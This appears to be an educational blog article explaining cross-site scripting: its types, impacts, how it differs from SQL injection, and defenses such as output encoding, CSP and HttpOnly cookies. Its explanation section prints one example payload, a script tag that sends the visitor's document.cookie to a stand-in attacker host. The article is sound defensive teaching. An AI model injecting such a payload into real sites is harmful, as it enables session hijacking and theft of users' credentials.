What is Cross-Site Scripting (XSS)? How It Works and How to Prevent It

Here's a strange thing about Cross-Site Scripting, or XSS: unlike a lot of attacks that target servers or databases, this one plays out inside your own browser, on a website you actually trust. The site itself doesn't even have to be malicious on purpose — it just has to make one small mistake in how it handles what users type in.

Let's go through what XSS actually is, how it manages to run malicious code inside a legitimate website, the different types you'll come across, and how developers can actually shut this down for good.


What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to inject malicious scripts — usually JavaScript — into web pages that are then viewed by other users. Because the malicious script runs inside the victim's browser, in the context of a website they trust, it can access things like cookies, session tokens, and other sensitive data that the browser normally protects.

The core issue, much like SQL injection, comes down to trust: an application takes user input and displays it back to other users without properly checking or escaping it first. Instead of just showing the text a user typed, the browser ends up executing it as actual code.


How Does XSS Actually Work?

To see this conceptually, imagine a comment section on a blog that takes whatever a user types and displays it directly on the page for everyone else to see. Under normal use, someone types a normal comment, and it shows up as expected. But if the application isn't sanitizing that input, an attacker could submit something like this instead of a normal comment:

<script>document.location='https://attacker-site.com/steal?cookie='+document.cookie</script>

If the site displays that comment without properly escaping it, every visitor who views the page will have their browser execute that script — silently sending their session cookie off to the attacker's server. With that cookie, an attacker could potentially hijack the victim's logged-in session without ever needing their password. This is obviously an illustrative example rather than a working exploit, but it captures the core mechanic: the application couldn't distinguish between "text to display" and "code to run."


Types of XSS Attacks

1. Stored XSS (Persistent XSS)

The most dangerous variant. The malicious script gets permanently saved on the target server — in a database, a comment field, a user profile — and gets served to every user who visits that page afterward. This can affect potentially thousands of visitors from a single successful injection, without the attacker needing to do anything further.

2. Reflected XSS

Here, the malicious script isn't stored anywhere; it's part of the request itself, often embedded in a URL. The attacker tricks a victim into clicking a specially crafted link, and the server "reflects" that malicious input straight back into the page's response, executing it in the victim's browser. This is why unexpected links from unfamiliar sources deserve real caution.

3. DOM-Based XSS

A more modern variant where the vulnerability lives entirely in client-side JavaScript rather than the server. The malicious payload manipulates the page's Document Object Model (DOM) directly in the browser, without the server ever seeing the malicious part of the request at all — which also makes it harder to catch with traditional server-side defenses.


What Can an Attacker Actually Do With XSS?

Impact What It Means
Session Hijacking Stealing session cookies to impersonate a logged-in user
Credential Theft Injecting fake login forms to capture usernames and passwords
Defacement Altering how a page looks or behaves for visitors
Malware Delivery Redirecting victims to sites that attempt to install malicious software
Keylogging Capturing everything a victim types while on the affected page

What makes this genuinely serious is that none of this requires breaking into the server itself — the attacker is essentially borrowing the trust a victim already has in a legitimate website and turning it against them.


XSS vs SQL Injection: What's the Difference?

These two often get mentioned together since both stem from the same root problem — untrusted input being treated as trusted instructions — but they target completely different layers:

Feature XSS SQL Injection
Where It Runs Victim's browser Application's database
What Gets Manipulated Page content and client-side scripts Database queries
Primary Target Other users of the application The application's data itself

How to Prevent XSS

1. Output Encoding

This is the single most important defense. Whenever user input is displayed back on a page, it should be properly encoded so that characters like < and > are treated as literal text rather than the start of an HTML tag or script.

2. Content Security Policy (CSP)

A CSP header tells the browser exactly which sources of scripts are allowed to run on a page, blocking unauthorized inline scripts even if malicious input somehow slips through other defenses. It's a strong secondary layer of protection, not a replacement for proper encoding.

3. Input Validation

Restricting what kind of input is accepted in the first place — for example, a phone number field shouldn't accept HTML tags at all — reduces the attack surface before output even becomes a concern.

4. Use Modern Frameworks Correctly

Frameworks like React, Angular, and Vue automatically escape output by default in most cases, which has meaningfully reduced how often basic XSS shows up in modern applications. That said, developers can still introduce vulnerabilities by bypassing these protections (like using dangerouslySetInnerHTML in React without proper sanitization), so understanding the underlying risk still matters even when using safer tools.

5. HttpOnly and Secure Cookie Flags

Marking session cookies as HttpOnly prevents JavaScript from accessing them directly, which means even a successful XSS injection can't simply read and steal the session cookie the way our earlier example described.


Why XSS Is Still So Common

Despite being extremely well-documented, XSS remains one of the most frequently found vulnerabilities in web application security assessments and bug bounty reports. Part of the reason is sheer surface area — any place where user input eventually gets displayed to other users is a potential opportunity, and large, complex applications have a lot of those places. It's also easy for a single overlooked field, deep in an otherwise well-secured application, to reintroduce the exact same risk.


Final Thoughts

Cross-Site Scripting is a great example of how attacks don't always need to break through a server's defenses at all — sometimes they just need a browser to trust a website exactly as much as it's supposed to, and quietly abuse that trust instead. The good news, much like SQL injection, is that this is a well-understood and genuinely preventable problem: proper output encoding, a solid Content Security Policy, and careful use of modern frameworks close off the vast majority of XSS risk.

If you've already read our SQL Injection article, XSS is really the other half of the same core lesson — never trust user input blindly, whether it's headed into a database query or straight back onto a page for someone else to view.

If this helped, check out our other cybersecurity breakdowns — more are coming soon.

Comments

Popular Posts